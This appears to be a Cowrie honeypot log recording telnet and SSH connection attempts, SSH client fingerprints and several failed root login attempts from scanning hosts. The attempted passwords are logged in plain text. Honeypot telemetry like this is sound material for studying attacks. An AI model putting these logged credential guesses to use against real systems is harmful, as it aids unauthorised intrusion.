{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42184,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aad6371affe","protocol":"telnet","message":"New connection: 193.22.147.168:42184 (10.17.0.5:23) [session: 5aad6371affe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:36.754169Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34652,"dst_ip":"159.203.135.109","dst_port":23,"session":"2545eee85cd1","protocol":"telnet","message":"New connection: 161.132.53.68:34652 (159.203.135.109:23) [session: 2545eee85cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:37.855146Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":51082,"dst_ip":"10.17.0.5","dst_port":23,"session":"a22d72f1288b","protocol":"telnet","message":"New connection: 193.22.147.168:51082 (10.17.0.5:23) [session: a22d72f1288b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:41.093784Z"}
{"eventid":"cowrie.session.closed","duration":34.837841272354126,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:42.115997Z","src_ip":"193.22.147.168","session":"9b4864ecbc00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":115.04285025596619,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:43.500364Z","src_ip":"174.142.104.49","session":"003fa089defb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.643447160720825,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:44.194317Z","src_ip":"104.245.105.2","session":"b0d52b18903f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442200422286987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:45.712177Z","src_ip":"193.22.147.168","session":"74f74dac8b75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66782307624817,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:45.881831Z","src_ip":"193.22.147.168","session":"5153070a3006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00147223472595,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:46.365498Z","src_ip":"174.142.104.49","session":"51f78b20e3c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3763542175293,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:46.406534Z","src_ip":"193.22.147.168","session":"911b333ab7f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":51090,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d12ce874a5b","protocol":"telnet","message":"New connection: 193.22.147.168:51090 (10.17.0.5:23) [session: 3d12ce874a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:49.197871Z"}
{"eventid":"cowrie.session.closed","duration":30.658016204833984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:50.211344Z","src_ip":"161.132.53.68","session":"82bdc400ef39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42228,"dst_ip":"10.17.0.5","dst_port":23,"session":"d68caecaf6d5","protocol":"telnet","message":"New connection: 193.22.147.168:42228 (10.17.0.5:23) [session: d68caecaf6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:53.963728Z"}
{"eventid":"cowrie.session.closed","duration":120.00114703178406,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:54.506886Z","src_ip":"174.142.104.49","session":"fbc6423e377e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42218,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ab6a4878ad","protocol":"telnet","message":"New connection: 193.22.147.168:42218 (10.17.0.5:23) [session: 06ab6a4878ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:54.936250Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42230,"dst_ip":"10.17.0.5","dst_port":23,"session":"352656ac30e1","protocol":"telnet","message":"New connection: 193.22.147.168:42230 (10.17.0.5:23) [session: 352656ac30e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:54.969713Z"}
{"eventid":"cowrie.session.closed","duration":31.952555418014526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:56.071275Z","src_ip":"193.22.147.168","session":"7ee4134c4f28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58266,"dst_ip":"159.203.135.109","dst_port":23,"session":"c835e722fc6f","protocol":"telnet","message":"New connection: 161.132.53.68:58266 (159.203.135.109:23) [session: c835e722fc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:56.114103Z"}
{"eventid":"cowrie.session.closed","duration":32.3181426525116,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:56.818403Z","src_ip":"161.132.53.68","session":"9090a33cc1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42232,"dst_ip":"10.17.0.5","dst_port":23,"session":"907ccc690372","protocol":"telnet","message":"New connection: 193.22.147.168:42232 (10.17.0.5:23) [session: 907ccc690372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:59.754905Z"}
{"eventid":"cowrie.session.closed","duration":31.058483362197876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:02.155510Z","src_ip":"193.22.147.168","session":"ee0de8593e97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":56936,"dst_ip":"159.203.135.109","dst_port":22,"session":"725bdf35d222","protocol":"ssh","message":"New connection: 165.154.6.69:56936 (159.203.135.109:22) [session: 725bdf35d222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:02.786137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:02.794768Z","src_ip":"165.154.6.69","session":"725bdf35d222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:03.020491Z","src_ip":"165.154.6.69","session":"725bdf35d222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":56444,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad5b68da6bd","protocol":"telnet","message":"New connection: 193.22.147.168:56444 (10.17.0.5:23) [session: 6ad5b68da6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:03.837568Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789A","message":"login attempt [root/123456789A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:03.940248Z","src_ip":"165.154.6.69","session":"725bdf35d222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:05.165323Z","src_ip":"165.154.6.69","session":"725bdf35d222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"9293a43e2c2c","protocol":"telnet","message":"New connection: 193.22.147.168:56456 (10.17.0.5:23) [session: 9293a43e2c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:05.941542Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f5ae629e3e5","protocol":"telnet","message":"New connection: 193.22.147.168:56458 (10.17.0.5:23) [session: 3f5ae629e3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:06.080798Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57502,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff4004ea46e","protocol":"telnet","message":"New connection: 161.132.53.68:57502 (159.203.135.109:23) [session: cff4004ea46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:06.109109Z"}
{"eventid":"cowrie.session.closed","duration":30.945412397384644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:08.800410Z","src_ip":"161.132.53.68","session":"2545eee85cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46953058242798,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:09.223599Z","src_ip":"193.22.147.168","session":"5aad6371affe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":59598,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db084de245e","protocol":"ssh","message":"New connection: 96.78.175.36:59598 (10.17.0.5:22) [session: 4db084de245e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:10.213315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:10.227752Z","src_ip":"96.78.175.36","session":"4db084de245e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:10.316979Z","src_ip":"96.78.175.36","session":"4db084de245e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chris","message":"login attempt [root/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:10.685834Z","src_ip":"96.78.175.36","session":"4db084de245e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:11.783428Z","src_ip":"96.78.175.36","session":"4db084de245e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.21279454231262,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:13.306502Z","src_ip":"193.22.147.168","session":"a22d72f1288b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.227059841156006,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:21.424840Z","src_ip":"193.22.147.168","session":"3d12ce874a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":58488,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f6f8fdbfaf","protocol":"telnet","message":"New connection: 193.22.147.168:58488 (10.17.0.5:23) [session: 07f6f8fdbfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:21.612424Z"}
{"eventid":"cowrie.session.closed","duration":31.38713788986206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:26.356733Z","src_ip":"193.22.147.168","session":"352656ac30e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52604842185974,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:26.489670Z","src_ip":"193.22.147.168","session":"d68caecaf6d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":58504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c476565f11c8","protocol":"telnet","message":"New connection: 193.22.147.168:58504 (10.17.0.5:23) [session: c476565f11c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:26.670032Z"}
{"eventid":"cowrie.session.closed","duration":31.07888150215149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:27.192870Z","src_ip":"161.132.53.68","session":"c835e722fc6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":39460,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e413c4d8a4","protocol":"telnet","message":"New connection: 193.22.147.168:39460 (10.17.0.5:23) [session: e1e413c4d8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:32.731496Z"}
{"eventid":"cowrie.session.closed","duration":38.136260747909546,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:33.072317Z","src_ip":"193.22.147.168","session":"06ab6a4878ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":39476,"dst_ip":"10.17.0.5","dst_port":23,"session":"756b21deee4e","protocol":"telnet","message":"New connection: 193.22.147.168:39476 (10.17.0.5:23) [session: 756b21deee4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:33.360572Z"}
{"eventid":"cowrie.session.closed","duration":34.314780473709106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:34.069575Z","src_ip":"193.22.147.168","session":"907ccc690372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291354179382324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:34.128815Z","src_ip":"193.22.147.168","session":"6ad5b68da6bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":39482,"dst_ip":"10.17.0.5","dst_port":23,"session":"c390cf017b0c","protocol":"telnet","message":"New connection: 193.22.147.168:39482 (10.17.0.5:23) [session: c390cf017b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:34.386365Z"}
{"eventid":"cowrie.session.closed","duration":31.891186237335205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:37.832503Z","src_ip":"193.22.147.168","session":"9293a43e2c2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.944170475006104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:38.053130Z","src_ip":"161.132.53.68","session":"cff4004ea46e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17933368682861,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:38.259989Z","src_ip":"193.22.147.168","session":"3f5ae629e3e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.304630756378174,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:55:53.916906Z","src_ip":"193.22.147.168","session":"07f6f8fdbfaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":35674,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bffca77cac7","protocol":"ssh","message":"New connection: 165.154.6.69:35674 (159.203.135.109:22) [session: 4bffca77cac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:00.562687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:00.567811Z","src_ip":"165.154.6.69","session":"4bffca77cac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.9440233707428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:00.613969Z","src_ip":"193.22.147.168","session":"c476565f11c8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:00.783415Z","src_ip":"165.154.6.69","session":"4bffca77cac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mju7^YHN","message":"login attempt [root/mju7^YHN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:01.676274Z","src_ip":"165.154.6.69","session":"4bffca77cac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":41234,"dst_ip":"10.17.0.5","dst_port":22,"session":"81be3b5651e6","protocol":"ssh","message":"New connection: 96.78.175.36:41234 (10.17.0.5:22) [session: 81be3b5651e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:02.704372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:02.721786Z","src_ip":"96.78.175.36","session":"81be3b5651e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:02.817745Z","src_ip":"96.78.175.36","session":"81be3b5651e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:02.894402Z","src_ip":"165.154.6.69","session":"4bffca77cac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe...","message":"login attempt [root/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:03.172875Z","src_ip":"96.78.175.36","session":"81be3b5651e6","protocol":"ssh"}
